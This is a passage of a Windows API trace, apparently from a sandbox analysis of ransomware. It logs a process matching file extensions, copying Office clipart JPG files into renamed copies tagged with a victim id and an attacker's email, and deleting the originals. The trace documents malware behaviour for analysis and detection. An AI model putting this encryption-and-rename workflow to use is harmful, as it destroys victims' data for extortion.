	[0199.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68
	[0199.536] lstrlenW (lpString=".dbf") returned 4
	[0199.536] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0199.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68
	[0199.536] lstrlenW (lpString=".1cd") returned 4
	[0199.536] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0199.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68
	[0199.536] lstrlenW (lpString=".jpg") returned 4
	[0199.536] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0199.536] lstrcmpiW (lpString1=".JPG", lpString2=".html") returned 1
	[0199.536] lstrlenW (lpString="J0145168.JPG") returned 12
	[0199.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145168.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0199.658] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=33657) returned 1
	[0199.658] CloseHandle (hObject=0x5e8) returned 1
	[0199.658] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145168.jpg")) returned 0x220
	[0199.867] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145168.jpg.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0200.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145168.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8
	[0200.558] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.558] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145168.jpg.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0200.559] GetLastError () returned 0x0
	[0200.559] ReadFile (in: hFile=0x4c8, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x8379, lpOverlapped=0x0) returned 1
	[0200.609] WriteFile (in: hFile=0x5d8, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x8380, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x8380, lpOverlapped=0x0) returned 1
	[0200.610] ReadFile (in: hFile=0x4c8, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0200.610] WriteFile (in: hFile=0x5d8, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0200.610] SetEndOfFile (hFile=0x5d8) returned 1
	[0200.627] CloseHandle (hObject=0x5d8) returned 1
	[0200.631] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.631] SetEndOfFile (hFile=0x4c8) returned 1
	[0200.663] CloseHandle (hObject=0x4c8) returned 1
	[0200.668] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0200.862] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145168.jpg")) returned 1
	[0200.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68
	[0200.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68
	[0200.900] lstrlenW (lpString=".doc") returned 4
	[0200.900] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0200.900] lstrlenW (lpString=".docx") returned 5
	[0200.900] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1
	[0200.900] lstrlenW (lpString=".pdf") returned 4
	[0200.900] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0200.900] lstrlenW (lpString=".xls") returned 4
	[0200.900] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0200.900] lstrlenW (lpString=".xlsx") returned 5
	[0200.900] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1
	[0200.900] lstrlenW (lpString=".ppt") returned 4
	[0200.900] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0200.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68
	[0200.900] lstrlenW (lpString=".zip") returned 4
	[0200.901] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0200.901] lstrlenW (lpString=".rar") returned 4
	[0200.901] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0200.901] lstrlenW (lpString=".bz2") returned 4
	[0200.901] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0200.901] lstrlenW (lpString=".7z") returned 3
	[0200.901] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0200.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68
	[0200.901] lstrlenW (lpString=".dbf") returned 4
	[0200.901] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0200.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68
	[0200.901] lstrlenW (lpString=".1cd") returned 4
	[0200.901] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0200.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68
	[0200.901] lstrlenW (lpString=".jpg") returned 4
	[0200.901] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0200.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68
	[0200.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68
	[0200.901] lstrlenW (lpString=".doc") returned 4
	[0200.901] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0200.901] lstrlenW (lpString=".docx") returned 5
	[0200.901] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1
	[0200.901] lstrlenW (lpString=".pdf") returned 4
	[0200.901] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0200.901] lstrlenW (lpString=".xls") returned 4
	[0200.901] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0200.901] lstrlenW (lpString=".xlsx") returned 5
	[0200.901] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1
	[0200.901] lstrlenW (lpString=".ppt") returned 4
	[0200.902] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0200.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68
	[0200.902] lstrlenW (lpString=".zip") returned 4
	[0200.902] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0200.902] lstrlenW (lpString=".rar") returned 4
	[0200.902] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0200.902] lstrlenW (lpString=".bz2") returned 4
	[0200.902] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0200.902] lstrlenW (lpString=".7z") returned 3
	[0200.902] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0200.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68
	[0200.902] lstrlenW (lpString=".dbf") returned 4
	[0200.902] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0200.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68
	[0200.902] lstrlenW (lpString=".1cd") returned 4
	[0200.902] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0200.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68
	[0200.902] lstrlenW (lpString=".jpg") returned 4
	[0200.902] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0200.902] lstrcmpiW (lpString1=".JPG", lpString2=".html") returned 1
	[0200.902] lstrlenW (lpString="J0148309.JPG") returned 12
	[0200.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148309.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0200.904] GetFileSizeEx (in: hFile=0x5d8, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=43674) returned 1
	[0200.904] CloseHandle (hObject=0x5d8) returned 1
	[0200.908] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148309.jpg")) returned 0x220
	[0200.908] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148309.jpg.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0200.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148309.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0200.908] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.908] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148309.jpg.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0200.909] GetLastError () returned 0x0
	[0200.909] ReadFile (in: hFile=0x5d8, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0xaa9a, lpOverlapped=0x0) returned 1
	[0200.938] WriteFile (in: hFile=0x5bc, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xaaa0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xaaa0, lpOverlapped=0x0) returned 1
	[0200.940] ReadFile (in: hFile=0x5d8, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0200.940] WriteFile (in: hFile=0x5bc, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0200.940] SetEndOfFile (hFile=0x5bc) returned 1
	[0200.940] CloseHandle (hObject=0x5bc) returned 1
	[0200.941] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.941] SetEndOfFile (hFile=0x5d8) returned 1
	[0200.949] CloseHandle (hObject=0x5d8) returned 1
	[0200.949] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0200.952] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148309.jpg")) returned 1
	[0200.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68
	[0200.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68
	[0200.955] lstrlenW (lpString=".doc") returned 4
	[0200.955] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0200.955] lstrlenW (lpString=".docx") returned 5
	[0200.955] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1
	[0200.955] lstrlenW (lpString=".pdf") returned 4
	[0200.955] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0200.955] lstrlenW (lpString=".xls") returned 4
	[0200.955] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0200.955] lstrlenW (lpString=".xlsx") returned 5
	[0200.955] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1
	[0200.955] lstrlenW (lpString=".ppt") returned 4
	[0200.955] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0200.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68
	[0200.955] lstrlenW (lpString=".zip") returned 4
	[0200.955] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0200.955] lstrlenW (lpString=".rar") returned 4
	[0200.955] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0200.955] lstrlenW (lpString=".bz2") returned 4
	[0200.956] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0200.956] lstrlenW (lpString=".7z") returned 3
	[0200.956] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0200.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68
	[0200.956] lstrlenW (lpString=".dbf") returned 4
	[0200.956] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0200.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68
	[0200.956] lstrlenW (lpString=".1cd") returned 4
	[0200.956] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0200.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68
	[0200.956] lstrlenW (lpString=".jpg") returned 4
	[0200.956] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0200.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68
	[0200.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68
	[0200.956] lstrlenW (lpString=".doc") returned 4
	[0200.956] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0200.956] lstrlenW (lpString=".docx") returned 5
	[0200.956] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1
	[0200.956] lstrlenW (lpString=".pdf") returned 4
	[0200.956] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0200.956] lstrlenW (lpString=".xls") returned 4
	[0200.956] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0200.956] lstrlenW (lpString=".xlsx") returned 5
	[0200.956] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1
	[0200.956] lstrlenW (lpString=".ppt") returned 4
	[0200.956] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0200.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68
	[0200.956] lstrlenW (lpString=".zip") returned 4
	[0200.956] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0200.957] lstrlenW (lpString=".rar") returned 4
	[0200.957] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0200.957] lstrlenW (lpString=".bz2") returned 4
	[0200.957] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0200.957] lstrlenW (lpString=".7z") returned 3
	[0200.957] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0200.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68
	[0200.957] lstrlenW (lpString=".dbf") returned 4
	[0200.957] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0200.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68
	[0200.957] lstrlenW (lpString=".1cd") returned 4
	[0200.957] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0200.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68
	[0200.957] lstrlenW (lpString=".jpg") returned 4
	[0200.957] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0200.957] lstrcmpiW (lpString1=".JPG", lpString2=".html") returned 1
	[0200.957] lstrlenW (lpString="J0148798.JPG") returned 12
	[0200.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148798.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0201.589] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=38237) returned 1
	[0201.589] CloseHandle (hObject=0x5e8) returned 1
	[0201.589] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148798.jpg")) returned 0x220
	[0201.589] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148798.jpg.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0201.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148798.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0201.590] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.590] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148798.jpg.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0201.591] GetLastError () returned 0x0
	[0201.591] ReadFile (in: hFile=0x5e8, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x955d, lpOverlapped=0x0) returned 1
	[0201.595] WriteFile (in: hFile=0x36c, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x9560, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x9560, lpOverlapped=0x0) returned 1
	[0201.597] ReadFile (in: hFile=0x5e8, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0201.597] WriteFile (in: hFile=0x36c, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0201.597] SetEndOfFile (hFile=0x36c) returned 1
	[0201.597] CloseHandle (hObject=0x36c) returned 1
	[0201.597] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.597] SetEndOfFile (hFile=0x5e8) returned 1
	[0201.601] CloseHandle (hObject=0x5e8) returned 1
	[0201.601] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0201.601] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148798.jpg")) returned 1
	[0201.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68
	[0201.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68
	[0201.603] lstrlenW (lpString=".doc") returned 4
	[0201.603] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0201.603] lstrlenW (lpString=".docx") returned 5
	[0201.603] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1
	[0201.603] lstrlenW (lpString=".pdf") returned 4
	[0201.603] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0201.603] lstrlenW (lpString=".xls") returned 4
	[0201.603] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0201.603] lstrlenW (lpString=".xlsx") returned 5
	[0201.603] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1
	[0201.603] lstrlenW (lpString=".ppt") returned 4
	[0201.603] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0201.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68
	[0201.603] lstrlenW (lpString=".zip") returned 4
	[0201.603] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0201.603] lstrlenW (lpString=".rar") returned 4
	[0201.603] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0201.603] lstrlenW (lpString=".bz2") returned 4
	[0201.603] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0201.603] lstrlenW (lpString=".7z") returned 3
	[0201.603] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0201.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68
	[0201.604] lstrlenW (lpString=".dbf") returned 4
	[0201.604] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0201.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68
	[0201.604] lstrlenW (lpString=".1cd") returned 4
	[0201.604] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0201.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68
	[0201.604] lstrlenW (lpString=".jpg") returned 4
	[0201.604] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0201.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68
	[0201.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68
	[0201.604] lstrlenW (lpString=".doc") returned 4
	[0201.604] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0201.604] lstrlenW (lpString=".docx") returned 5
	[0201.604] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1
	[0201.604] lstrlenW (lpString=".pdf") returned 4
	[0201.604] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0201.604] lstrlenW (lpString=".xls") returned 4
	[0201.604] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0201.604] lstrlenW (lpString=".xlsx") returned 5
	[0201.604] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1
	[0201.604] lstrlenW (lpString=".ppt") returned 4
	[0201.604] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0201.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68
	[0201.604] lstrlenW (lpString=".zip") returned 4
	[0201.604] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0201.605] lstrlenW (lpString=".rar") returned 4
	[0201.605] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0201.605] lstrlenW (lpString=".bz2") returned 4
	[0201.605] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0201.605] lstrlenW (lpString=".7z") returned 3
	[0201.605] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
